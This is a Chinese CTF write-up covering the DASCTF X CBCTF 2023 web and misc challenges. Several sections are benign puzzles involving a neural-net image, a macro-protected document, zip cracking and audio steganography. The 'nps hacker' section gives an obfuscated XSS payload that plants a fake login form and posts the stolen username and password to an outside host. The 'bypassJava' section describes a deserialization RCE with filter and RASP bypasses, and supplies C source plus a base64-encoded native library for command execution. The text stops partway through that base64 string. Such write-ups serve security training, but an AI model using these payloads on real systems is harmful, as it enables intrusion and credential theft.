DASCTF X CBCTF 2023web和misc题解- Track 知识社区 - 掌控安全在线教育

一、justpaint

1.先是压缩包密码爆破，密码为11452，然后开始代码审计，发现是一个线性的神经网络。

源代码如下：

import torch
import torch.nn as nn
import numpy as np
import matplotlib.pyplot as plt
from PIL import Image
import cv2
class JBN(nn.Module):
    def __init__(self):
        super(JBN, self).__init__()
        self.main = nn.Sequential(
            nn.Linear(100, 256),
            nn.ReLU(),
            nn.Linear(256, 512),
            nn.ReLU(),
            nn.Linear(512, 452 * 280),
            nn.Tanh()
        )
    def forward(self, x):
        img = self.main(x)
        img = img.view(-1, 452, 280)
        return img
def watch_flag(img):
    flag = cv2.imread('./data/data/flag.png')
    gray_image = cv2.cvtColor(flag, cv2.COLOR_BGR2GRAY)
    flag_tensor = torch.from_numpy(np.array(gray_image))
    flag_tensor = flag_tensor.unsqueeze(0).transpose(1, 2)
    img_tensor = img
    flag_tensor = flag_tensor.unsqueeze(0)
    img_tensor = img_tensor.unsqueeze(0)
    loss_fn = torch.nn.MSELoss()
    loss = loss_fn(flag_tensor.float(), img_tensor)
    return loss
jbn = JBN()
g_optimizer = torch.optim.Adam(jbn.parameters(), lr=0.001)
min_loss = float('inf')
for epoch in range(10):
    random_noise = torch.randn(1, 100)
    jbn_img = jbn(random_noise)
    g_optimizer.zero_grad()
    g_loss = watch_flag(jbn_img)
    g_loss.backward()
    g_optimizer.step()
    with torch.no_grad():
        if g_loss < min_loss:
            min_loss = g_loss
            torch.save(jbn.state_dict(), 'jbn.pth')

2.代码审计：
（1）该网络读取flag.png后进行训练，经过几轮训练后使模型记住flag.png，最后将模型保存为flag.pth
（2）构造网络，并加载模型

class JBN(nn.Module):
    def __init__(self):
        super(JBN, self).__init__()
        self.main = nn.Sequential(
            nn.Linear(100, 256),
            nn.ReLU(),
            nn.Linear(256, 512),
            nn.ReLU(),
            nn.Linear(512, 452 * 280),
            nn.Tanh()
        )
    def forward(self, x):
        img = self.main(x)
        img = img.view(-1, 452, 280)
        return img
jbn = torch.load('JBN.pth')

（3）生成随机噪声的图片，要和模型需要的图片相吻合，也就是(1,100)的张量

test_input = torch.randn(1, 100)

（4）经过模型绘图后得到flag.png的Tensor，需要注意的是模型的最后一层用的是双曲正切函数Tanh()

所以这里得到的flag.png的Tensor对象的取值范围是[-1,1]，所以在绘图时处理一下

plt.imshow((prediction + 1) / 2)

（5）最后得到生成后的图像就是flag

二、NoPasswd

1.打开doc发现需要密码，查看属性可以发现备注处有16进制字符串，且作者名为宏孩儿，尝试查看插入的宏代码。

2.因为doc格式可以不需要文档密码直接提取其中的vba宏代码，所以安装oletools工具，使用olevba attachment命令查看插入的宏代码，可以找到加密函数。

3.分析一下可以知道就是简单的异或，enc应该就是备注中的16进制字符串，写个脚本解密一下可以得到doc的密码，解开doc可以发现base64字符串，解码一下可知是zip文件。

from Crypto.Util.number import *
enc = long_to_bytes(0x60290f0225011a72697f420d1f4e402778231b)
key = [19,71,122,99,65,111,43,67]
abc = ""
for i in range(len(enc)):
    abc += chr(enc[i] ^ key[i%8])
print(abc)

4.打开zip文件后发现flag被加密，用010去除伪加密，同时可以发现zip数据解析错误，原因在于flag.png的文件名长度8被改成了4，修复即可打开压缩包里的图片得到flag

三、SecretZip

1.题目给了一个key文件，以及一个加密的zip，key文件内其实是压缩包明文压缩后的前半部分，因此压缩包虽然不是store的压缩模式，也能进行已知部分明文攻击。

2.下一个压缩包提示密码是2字节，但是是不可见字符，有很多种爆破的方法

import zipfile
import libnum
from tqdm import trange
for i in trange(256):
    for j in range(256):
        fz = zipfile.ZipFile('secret key.zip', 'r')
        password = libnum.n2s(i) + libnum.n2s(j)
        try:
            fz.extractall(pwd=password)
            print(password)
            fz.close()
            break
        except:
            fz.close()
            continue
    else:
        continue
    break

得到密码是b’\x9c\x07’
解压后在txt里得到三段秘钥e48d3828 5b7223cc 71851fb0
同时在zpaq文件的文件尾得到

因此要还原pkzip的三段秘钥，此处本意是要根据pkzip的算法，写脚本来还原加密过程
但是发现bkcrack自带了秘钥还原的接口，因此就不给出相关算法代码了

把得到的密码，md5以下，用bandizip或者其他工具解压zpaq即可

四、justlisten

1.扫描一下汉信码hint.png，获得hint。（https://tuzim.net/hxdecode/）

flag length : 189
0urS3cret

2.用oursecret分离出一个类似于字典的txt文件。

3.用Audacity查看嘘.wav文件，看它的频谱图，得知它的频率为[800,900,1000,1100,1200,1300,1400,1500,1700,1800]以及它的每个频率变化的时间为0.1s，同时可以得知它的采样频率为44100

4.写一个脚本读取wav文件的数据长度

import numpy as np
import wave
import scipy.fftpack as fftpack
SAMPLE_RATE = 44100                                     
SAMPLE_TIME = 0.1                                       
SAMPLE_NUM = int(SAMPLE_RATE * SAMPLE_TIME)            #4410 
LIST = [800, 900, 1000, 1100, 1200, 1300, 1400, 1500, 1600, 1700]
with wave.open('嘘.wav', 'rb') as f:          #读取为数组
    wav_data = np.frombuffer(f.readframes(-1), dtype=np.int16)
    N = len(wav_data)                                   #获取数据长度
    print (N)   #1666980
a = (N/(44100*0.1))/189
print(a) #2.0

可以得知数据长度N=1666980，然后再a = (N/(44100*0.1))/42来计算每个字符占了多少时长为0.2s
5.接下来处理一下数字信号，并根据分离出的字典来获取隐藏的数据

import numpy as np
import wave
import scipy.fftpack as fftpack
SAMPLE_RATE = 44100                                     
SAMPLE_TIME = 0.1                                       
SAMPLE_NUM = int(SAMPLE_RATE * SAMPLE_TIME)            #4410 
LIST = [800, 900, 1000, 1100, 1200, 1300, 1400, 1500, 1600, 1700]   
# 傅里叶变换
def fft(data):
    N = len(data)                                   #获取数据长度
    fft_data = fftpack.fft(data)                    #得到频域信号                      
    abs_fft = np.abs(fft_data)                      #计算幅值    
    abs_fft = abs_fft/(N/2)                             
    half_fft = abs_fft[range(N//2)]                 #取频域信号的前半部分
    return half_fft
def dec_100ms(wave_data_100_ms):                     #解码100毫秒的音频数据
    fft_ret = fft(wave_data_100_ms)
    for index, freq in enumerate(LIST):
        if np.max(fft_ret[int(freq*SAMPLE_TIME) - 2 : int(freq*SAMPLE_TIME) + 2]) > 0.8:
            print(freq, 'Hz有值')
            return index
def dec_sentence(wav_data):                          #解码整个句子
    _100ms_count = len(wav_data) // SAMPLE_NUM          
    print('待解码音频包含', _100ms_count // 2, '个字')    
    ret = ''
    for i in range(0, _100ms_count, 2):                
        index = 0
        for k in range(2):
            index = index*10 + dec_100ms(wav_data[i*SAMPLE_NUM + k*SAMPLE_NUM : i*SAMPLE_NUM + (k+1)*SAMPLE_NUM])
        print('序号：', index)
        ret += string[index]
    return ret
if __name__ == '__main__':
    with open('haha.txt', 'r', encoding='utf8') as f:
        string =  f.read()
    with wave.open('嘘.wav', 'rb') as f:          #读取为数组
        wav_data = np.frombuffer(f.readframes(-1), dtype=np.int16)
    print(dec_sentence(wav_data))

运行脚本后获得flag

五、nps hacker

比较鸡肋的一个nps控制台的XSS漏洞，不过说不定在蓝队溯源反制的时候用得上。
题目这里为了部署方便，把bridge_port和web_port设为了同一个端口，不过在攻击过程中，其实也不一定需要访问web_port。
漏洞成因是bootstrapTable并未配置escape字段，再加上nps的用户默认配置文件。
例如页面模板 web/views/client/list.html:42 中并未配置 escape: true

conf\nps.conf 配置文件默认配置有public_vkey=123，使用该key也可以使用npc连接至nps

攻击者使用public_vkey作为客户端连接至nps，并可配置用户名、密码、备注等信息，web控制台的bootstrapTable并未转义这些字符，最终形成XSS漏洞
配置npc.conf，这里经过简单审计，发现remark键后存在=将被截断，简单绕过

[common]
server_addr=127.0.0.1:8024
conn_type=tcp
vkey=123
remark=</a><sCRiPt>document.write`\u003C\u0068\u0074\u006D\u006C\u003E\u003C\u0068\u0065\u0061\u0064\u003E\u003C\u002F\u0068\u0065\u0061\u0064\u003E\u003C\u0062\u006F\u0064\u0079\u003E\u003C\u0066\u006F\u0072\u006D\u0020\u0063\u006C\u0061\u0073\u0073\u003D\u0022\u006D\u002D\u0074\u0022\u0020\u006F\u006E\u0073\u0075\u0062\u006D\u0069\u0074\u003D\u0022\u0072\u0065\u0074\u0075\u0072\u006E\u0020\u0066\u0061\u006C\u0073\u0065\u0022\u003E\u003C\u0064\u0069\u0076\u0020\u0063\u006C\u0061\u0073\u0073\u003D\u0022\u0066\u006F\u0072\u006D\u002D\u0067\u0072\u006F\u0075\u0070\u0022\u003E\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u006E\u0061\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u0022\u0020\u0069\u0064\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u0022\u0020\u0063\u006C\u0061\u0073\u0073\u003D\u0022\u0066\u006F\u0072\u006D\u002D\u0063\u006F\u006E\u0074\u0072\u006F\u006C\u0022\u0020\u0070\u006C\u0061\u0063\u0065\u0068\u006F\u006C\u0064\u0065\u0072\u003D\u0022\u0055\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u0022\u0020\u0072\u0065\u0071\u0075\u0069\u0072\u0065\u0064\u003D\u0022\u0022\u0020\u006C\u0061\u006E\u0067\u0074\u0061\u0067\u003D\u0022\u0077\u006F\u0072\u0064\u002D\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u0022\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u003C\u0064\u0069\u0076\u0020\u0063\u006C\u0061\u0073\u0073\u003D\u0022\u0066\u006F\u0072\u006D\u002D\u0067\u0072\u006F\u0075\u0070\u0022\u003E\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u006E\u0061\u006D\u0065\u003D\u0022\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u0069\u0064\u003D\u0022\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u0063\u006C\u0061\u0073\u0073\u003D\u0022\u0066\u006F\u0072\u006D\u002D\u0063\u006F\u006E\u0074\u0072\u006F\u006C\u0022\u0020\u0070\u006C\u0061\u0063\u0065\u0068\u006F\u006C\u0064\u0065\u0072\u003D\u0022\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u0072\u0065\u0071\u0075\u0069\u0072\u0065\u0064\u003D\u0022\u0022\u0020\u006C\u0061\u006E\u0067\u0074\u0061\u0067\u003D\u0022\u0077\u006F\u0072\u0064\u002D\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u003C\u0062\u0075\u0074\u0074\u006F\u006E\u0020\u006F\u006E\u0063\u006C\u0069\u0063\u006B\u003D\u0022\u0066\u0065\u0074\u0063\u0068\u0028\u0027\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0078\u0078\u0078\u0078\u0078\u0078\u002F\u0027\u002C\u007B\u006D\u0065\u0074\u0068\u006F\u0064\u003A\u0027\u0050\u004F\u0053\u0054\u0027\u002C\u0062\u006F\u0064\u0079\u003A\u0024\u0028\u0027\u0023\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u0027\u0029\u005B\u0030\u005D\u002E\u0076\u0061\u006C\u0075\u0065\u002B\u0027\u005F\u005F\u005F\u0027\u002B\u0024\u0028\u0027\u0023\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0027\u0029\u005B\u0030\u005D\u002E\u0076\u0061\u006C\u0075\u0065\u007D\u0029\u003B\u0022\u0020\u006C\u0061\u006E\u0067\u0074\u0061\u0067\u003D\u0022\u0077\u006F\u0072\u0064\u002D\u006C\u006F\u0067\u0069\u006E\u0022\u003E\u004C\u006F\u0067\u0069\u006E\u003C\u002F\u0062\u0075\u0074\u0074\u006F\u006E\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0062\u006F\u0064\u0079\u003E\u003C\u002F\u0068\u0074\u006D\u006C\u003E`</sCrIpT>

这里根据题目的语法配置一个登录框，做登录劫持

<html>
    <head></head>
    <body>
        <form class="m-t" onsubmit="return false">
            <div class="form-group">
                <input name="username" id="username" class="form-control" placeholder="Username" required="" langtag="word-username">
            </div>
            <div class="form-group">
                <input name="password" id="password" type="password" class="form-control" placeholder="Password" required="" langtag="word-password">
            </div>
            <button onclick="fetch('http://xxxxxx/',{method:'POST',body:$('#username')[0].value+'___'+$('#password')[0].value});" langtag="word-login">Login</button>
        </form>
    </body>
</html>

使用如下命令连接

npc -config npc.conf

稍等一段时间即可收到

六、bypassJava

题目给了jar包
审计代码发现 /read 路由存在反序列化接口，且题目存在 jackson 依赖，可以打jackson 的反序列化链子来执行任意代码。
但注意到filter进行了限制

这里通过 servletRequest.getContentLength() 到的值不能大于 1145，否则无法进入到反序列化的路由，而构造长度小于 1145 的payload几乎是不可能的事，所以得另外找个方法绕过。

chunked 编码绕过getContentLength

通过调试，追溯调用栈，深入源码看看这个contentLength是怎么来的，在 org.apache.coyote.http11.Http11Processor#prepareInputFilters方法中可以发现，当请求头中出现 transfer-encoding: chunked 时，contentLength的值会被设置为 -1L

所以使用 chunked 编码来绕过 getContentLength() 的限制。

成功触发反序列化（注意chunked编码报文格式）

绕过RASP

可以反序列化执行任意代码，尝试打内存马执行命令，但发现存在RASP，hook了底层执行命令的native方法 forkAndExec

同时发现权限不是root，没法直接读flag，要RCE才行，利用java代码读取文件目录结构，发现/home/ctf/有个simpleRASP.jar的文件，写java代码读取该文件审计
发现不仅hook了forkAndExec，还hook了 loadLibrary0

这下也没法直接使用常规的 System.load() 来直接加载 JNI来绕过。
但深入源码不难发现其底层的native方法 java.lang.ClassLoader.NativeLibrary#load 并未被hook，并且反射也是可以正常使用的，所以可以尝试使用反射来调用 java.lang.ClassLoader.NativeLibrary 中的 load 方法来加载恶意so文件执行命令

//调用java.lang.ClassLoader$NativeLibrary类的load方法加载动态链接库
......
public class EvilClass  {
    public static native String execCmd(String cmd);
}
......
ClassLoader cmdLoader = EvilClass.class.getClassLoader();
Class<?> classLoaderClazz = Class.forName("java.lang.ClassLoader");
Class<?> nativeLibraryClazz = Class.forName("java.lang.ClassLoader$NativeLibrary");
Method load = nativeLibraryClazz.getDeclaredMethod("load", String.class, boolean.class);
load.setAccessible(true);
Field field = classLoaderClazz.getDeclaredField("nativeLibraries");
field.setAccessible(true);
Vector<Object> libs = (Vector<Object>) field.get(cmdLoader);
Constructor<?> nativeLibraryCons = nativeLibraryClazz.getDeclaredConstructor(Class.class, String.class, boolean.class);
nativeLibraryCons.setAccessible(true);
Object nativeLibraryObj = nativeLibraryCons.newInstance(EvilClass.class, LIB_PATH, false);
libs.addElement(nativeLibraryObj);
//这里注意要将libs放入对应的ClassLoader中(跟着源码调下就能知道)
field.set(cmdLoader, libs);
load.invoke(nativeLibraryObj, LIB_PATH, false);
//执行命令
EvilClass.execCmd("whoami");
......
......

制作JNI
准备 EvilClass.java

public class EvilClass  {
    public static native String execCmd(String cmd);
}

在当前目录运行

javac EvilClass.java
javah EvilClass

生成 EvilClass.h 文件如下

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class EvilClass */
#ifndef _Included_EvilClass
#define _Included_EvilClass
#ifdef __cplusplus
extern "C" {
#endif
/*
 * Class:     EvilClass
 * Method:    execCmd
 * Signature: (Ljava/lang/String;)Ljava/lang/String;
 */
JNIEXPORT jstring JNICALL Java_EvilClass_execCmd
  (JNIEnv *, jclass, jstring);
#ifdef __cplusplus
}
#endif
#endif

根据EvilClass.h文件编写EvilClass.c文件
EvilClass.c

#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include "EvilClass.h"
int execmd(const char *cmd, char *result)
{
    char buffer[1024*12];              //定义缓冲区
    FILE *pipe = popen(cmd, "r"); //打开管道，并执行命令
    if (!pipe)
        return 0; //返回0表示运行失败
    while (!feof(pipe))
    {
        if (fgets(buffer, 128, pipe))
        { //将管道输出到result中
            strcat(result, buffer);
        }
    }
    pclose(pipe); //关闭管道
    return 1;      //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_EvilClass_execCmd(JNIEnv *env, jclass class_object, jstring jstr)
{
    const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
    char result[1024 * 12] = ""; //定义存放结果的字符串数组
    if (1 == execmd(cstr, result))
    {
       // printf(result);
    }
    char return_messge[100] = "";
    strcat(return_messge, result);
    jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
    //system();
    return cmdresult;
}

编译生成对应动态链接库文件

gcc -fPIC -I $JAVA_HOME/include  -I $JAVA_HOME/include/linux -shared -o libcmd.so EvilClass.c

将该so文件base64编码放到java代码中方便加载。
利用 TemplateImpl 来执行java代码，这里和内存马直接就放一起了，方便一些

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Vector;
public class EvilClass extends AbstractTranslet {
    public static native String execCmd(String cmd);
    //恶意动态链接库文件的base64编码
    private static final String EVIL_JNI_BASE64 = "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiD7AhIiwXdLwAASIXAdAL/0EiDxAjDAAAAAAAAAAAA/zXiLwAA/yXkLwAADx9AAP8l4i8AAGgAAAAA6eD/////JdovAABoAQAAAOnQ/////yXSLwAAaAIAAADpwP////8lyi8AAGgDAAAA6bD/////JcIvAABoBAAAAOmg/////yW6LwAAaAUAAADpkP////8lsi8AAGgGAAAA6YD/////JVIvAABmkAAAAAAAAAAASI09oS8AAEiNBZovAABIOfh0FUiLBRYvAABIhcB0Cf/gDx+AAAAAAMMPH4AAAAAASI09cS8AAEiNNWovAABIKf5IifBIwe4/SMH4A0gBxkjR/nQUSIsF5S4AAEiFwHQI/+BmDx9EAADDDx+AAAAAAIA9MS8AAAB1L1VIgz3GLgAAAEiJ5XQMSIs9Ei8AAOhd////6Gj////GBQkvAAABXcMPH4AAAAAAww8fgAAAAADpe////1VIieVIgewgMAAASIm96M///0iJteDP//9Ii4Xoz///SI01dA4AAEiJx+js/v//SIlF+EiDffgAdT24AAAAAOtXSItV+EiNhfDP//++gAAAAEiJx+iS/v//SIXAdBlIjZXwz///SIuF4M///0iJ1kiJx+i0/v//SItF+EiJx+h4/v//hcB0ukiLRfhIicfoOP7//7gBAAAAycNVSInlSIHsoDAAAEiJvXjP//9IibVwz///SImVaM///0iLhXjP//9IiwBMi4BIBQAASI